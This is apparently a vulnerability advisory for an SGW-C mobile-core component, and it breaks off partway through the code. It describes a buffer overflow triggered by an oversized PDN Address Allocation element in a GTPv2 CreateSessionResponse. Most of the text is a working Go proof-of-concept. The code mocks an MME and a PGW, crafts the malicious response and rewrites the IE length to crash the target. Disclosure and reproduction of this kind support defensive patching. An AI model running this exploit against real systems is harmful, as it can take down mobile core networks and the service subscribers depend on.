| الوصف | ### Description
SGW-C can be remotely crashed by a malicious/buggy PGW sending a CreateSessionResponse on the S5-C interface with a PDN Address Allocation (PAA) IE whose declared IE length is larger than the actual expected PAA structure size (IPv4 PAA is typically ≤ 5 bytes; overall PAA max is small, e.g. ~21 bytes depending on format).
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
### Steps to reproduce
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
package main
import (
"flag"
"fmt"
"log"
"net"
"time"
"github.com/wmnsk/go-gtp/gtpv2"
"github.com/wmnsk/go-gtp/gtpv2/ie"
"github.com/wmnsk/go-gtp/gtpv2/message"
)
var (
sgwcIP = flag.String("sgwc", "", "SGW-C IP address (S5 interface)")
sgwcPort = flag.Int("port", 2123, "SGW-C GTP-C port")
sgwcS11IP = flag.String("sgwc-s11", "", "SGW-C IP address (S11 interface)")
sgwcS11Port = flag.Int("s11-port", 2123, "SGW-C S11 GTP-C port")
mmeIP = flag.String("mme", "127.0.0.5", "MME IP address (local)")
mmePort = flag.Int("mme-port", 2123, "MME GTP-C port (local)")
pgwIP = flag.String("pgw", "10.44.44.4", "PGW IP address (local)")
oversizeLen = flag.Int("paa-len", 200, "Oversized PAA length (normal max is 21 bytes)")
imsi = flag.String("imsi", "001010123456789", "IMSI for mock UE")
apn = flag.String("apn", "internet", "APN for CreateSessionRequest")
mmeTEID = flag.Uint("mme-teid", 0x11111111, "MME S11 TEID")
pgwTEID = flag.Uint("pgw-teid", 0xABCDEF00, "PGW S5/S8 control-plane TEID")
)
func main() {
flag.Parse()
if *sgwcIP == "" {
log.Fatal("Error: -sgwc parameter is required (SGW-C IP address)")
}
if *sgwcS11IP == "" {
*sgwcS11IP = *sgwcIP
}
log.Printf("[*] Vuln-PA1-08 PoC: Buffer Overflow in PDN Address Allocation")
log.Printf("[*] Target: SGW-C at %s:%d", *sgwcIP, *sgwcPort)
log.Printf("[*] SGW-C S11: %s:%d", *sgwcS11IP, *sgwcS11Port)
log.Printf("[*] Attacker: PGW at %s", *pgwIP)
log.Printf("[*] Mock MME: %s:%d (IMSI=%s, APN=%s)", *mmeIP, *mmePort, *imsi, *apn)
log.Printf("[*] Oversized PAA length: %d bytes (normal max: 21 bytes)", *oversizeLen)
pgwReady := make(chan struct{})
pgwDone := make(chan struct{})
// Run PGW mock server
go runPGWMock(pgwReady, pgwDone)
<-pgwReady
if err := sendMMECreateSessionRequest(); err != nil {
log.Printf("[MME] Failed to send CreateSessionRequest: %v", err)
return
}
<-pgwDone
}
func runPGWMock(ready chan<- struct{}, done chan<- struct{}) {
defer close(done)
addr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", *pgwIP, *sgwcPort))
if err != nil {
log.Fatalf("[PGW] Failed to resolve address: %v", err)
}
conn, err := net.ListenUDP("udp", addr)
if err != nil {
log.Fatalf("[PGW] Failed to listen: %v", err)
}
defer conn.Close()
log.Printf("[PGW] Mock server listening on %s:%d", *pgwIP, *sgwcPort)
log.Println("[PGW] Waiting for CreateSessionRequest from SGW-C...")
close(ready)
buf := make([]byte, 4096)
for {
conn.SetReadDeadline(time.Now().Add(60 * time.Second))
n, remoteAddr, err := conn.ReadFromUDP(buf)
if err != nil {
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
log.Println("[PGW] Timeout waiting for messages")
continue
}
log.Printf("[PGW] Read error: %v", err)
continue
}
if n < 12 {
continue
}
// Parse GTP header
msgType := buf[1]
if msgType == 32 { // CreateSessionRequest
log.Printf("[PGW] Received CreateSessionRequest from SGW-C (%d bytes)", n)
// Parse message to extract TEID and sequence
msg, err := message.Parse(buf[:n])
if err != nil {
log.Printf("[PGW] Failed to parse message: %v", err)
continue
}
csReq, ok := msg.(*message.CreateSessionRequest)
if !ok {
log.Println("[PGW] Message is not CreateSessionRequest")
continue
}
// Extract SGW S5 TEID from Sender F-TEID
var sgwS5TEID uint32
if fteid := csReq.SenderFTEIDC; fteid != nil {
teid, err := fteid.TEID()
if err == nil {
sgwS5TEID = teid
log.Printf("[PGW] Extracted SGW-C S5 TEID: 0x%08x", teid)
}
}
if sgwS5TEID == 0 {
log.Println("[PGW] Warning: Could not extract SGW-C TEID, using 0")
}
// Get sequence number from message
seqNum := csReq.Sequence()
log.Println("[*] Crafting malicious CreateSessionResponse...")
log.Printf(" TEID: 0x%08x", sgwS5TEID)
log.Printf(" Sequence: 0x%06x", seqNum)
// Build CreateSessionResponse with oversized PAA
csResp := buildMaliciousCreateSessionResponse(sgwS5TEID, seqNum)
respBuf, err := csResp.Marshal()
if err != nil {
log.Printf("[PGW] Failed to marshal response: %v", err)
continue
}
log.Println("[*] Vulnerability Trigger:")
log.Println(" 1. SGW-C receives CreateSessionResponse on S5 interface")
log.Println(" 2. sgwc_s5c_handle_create_session_response() checks PAA presence")
log.Println(" 3. Executes: memcpy(&sess->paa, rsp->pdn_address_allocation.data, len)")
log.Printf(" 4. No bounds check: len=%d > sizeof(sess->paa)=~21 bytes", *oversizeLen)
log.Println(" 5. Buffer overflow corrupts adjacent memory")
log.Println(" 6. Process crashes or exhibits undefined behavior")
log.Printf("[*] Sending malicious CreateSessionResponse (%d bytes)...", len(respBuf))
// Manually modify the PAA IE length to oversized value
respBuf = modifyPAALength(respBuf, *oversizeLen)
_, err = conn.WriteToUDP(respBuf, remoteAddr)
if err != nil {
log.Printf("[PGW] Failed to send response: %v", err)
} else {
log.Printf("[+] Malicious CreateSessionResponse sent successfully")
log.Println("[*] Expected behavior:")
log.Println(" - Buffer overflow in sess->paa structure")
log.Println(" - Memory corruption in adjacent fields")
log.Println(" - Process crash or memory error")
log.Println(" - Location: src/sgwc/s5c-handler.c:150-151")
}
log.Println("\n[*] PoC execution completed")
log.Println("[*] Verify SGW-C logs for crash or memory corruption")
return
}
}
}
func sendMMECreateSessionRequest() error {
localAddr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", *mmeIP, *mmePort))
if err != nil {
return fmt.Errorf("resolve local address: %w", err)
}
remoteAddr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", *sgwcS11IP, *sgwcS11Port))
if err != nil {
return fmt.Errorf("resolve SGW-C S11 address: %w", err)
}
conn, err := net.ListenUDP("udp", localAddr)
if err != nil {
return fmt.Errorf("listen on MME address: %w", err)
}
defer conn.Close()
seq := uint32(time.Now().UnixNano()) & 0x00ffffff
csReq := buildMMECreateSessionRequest(seq)
reqBuf, err := csReq.Marshal()
if err != nil {
return fmt.Errorf("marshal CreateSessionRequest: %w", err)
}
log.Printf("[MME] Sending CreateSessionRequest to SGW-C %s:%d (seq=0x%06x)", *sgwcS11IP, *sgwcS11Port, seq)
if _, err := conn.WriteToUDP(reqBuf, remoteAddr); err != nil {
return fmt.Errorf("send CreateSessionRequest: %w", err)
}
conn.SetReadDeadline(time.Now().Add(3 * time.Second))
respBuf := make([]byte, 2048)
n, _, err := conn.ReadFromUDP(respBuf)
if err != nil {
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
log.Println("[MME] No CreateSessionResponse received (timeout)")
return nil
}
return fmt.Errorf("read CreateSessionResponse: %w", err)
}
log.Printf("[MME] Received CreateSessionResponse (%d bytes)", n)
return nil
}
func buildMMECreateSessionRequest(seq uint32) *message.CreateSessionRequest {
return message.NewCreateSessionRequest(
0, seq,
ie.NewIMSI(*imsi),
ie.NewAccessPointName(*apn),
ie.NewPDNType(gtpv2.PDNTypeIPv4),
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11MMEGTPC, uint32(*mmeTEID), *mmeIP, ""),
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, uint32(*pgwTEID), *pgwIP, "").WithInstance(1),
ie.NewBearerContext(
ie.NewEPSBearerID(5),
ie.NewBearerQoS(1, 2, 1, 9, 1000000, 1000000, 1000000, 1000000),
),
)
}
func buildMaliciousCreateSessionResponse(teid, seqNum uint32) *message.CreateSessionResponse {
// Create a normal CreateSessionResponse
// The PAA will be modified to oversized length after marshaling
csResp := message.NewCreateSessionResponse(
teid, seqNum,
ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil),
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, 0xABCDEF00, *pgwIP, "").WithInstance(1),
ie.NewPDNAddressAllocation("10.45.0.2"), // Normal IPv4 address (5 bytes total)
ie.NewBearerContext(
ie.NewEPSBearerID(5),
ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil),
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPU, 0xABCDEF01, *pgwIP, "").WithInstance(2),
),
)
return csResp
}
func modifyPAALength(buf []byte, newLen int) []byte {
// GTPv2-C message structure:
// - Header is 8 bytes without TEID, 12 bytes with TEID (T flag set)
// - IEs follow after the header
//
// Each IE structure:
// 0: Type (1 byte)
// 1-2: Length (2 bytes, network order)
// 3: Instance (1 byte) if Grouped IE, otherwise part of value
// 4+: Value
if len(buf) < 8 {
log.Println("[!] Warning: GTPv2-C header too short")
return buf
}
headerLen := 8
if buf[0]&0x08 != 0 { // T flag: TEID present
headerLen = 12
}
if len(buf) < headerLen {
log.Printf("[!] Warning: buffer shorter than header length (%d)", headerLen)
return buf
}
msgLen := int(buf[2])<<8 | int(buf[3])
payloadEnd := 4 + msgLen
if payloadEnd > len(buf) {
payloadEnd = len(buf)
}
if payloadEnd < headerLen {
log.Printf("[!] Warning: invalid payload end (%d) < heade |
|---|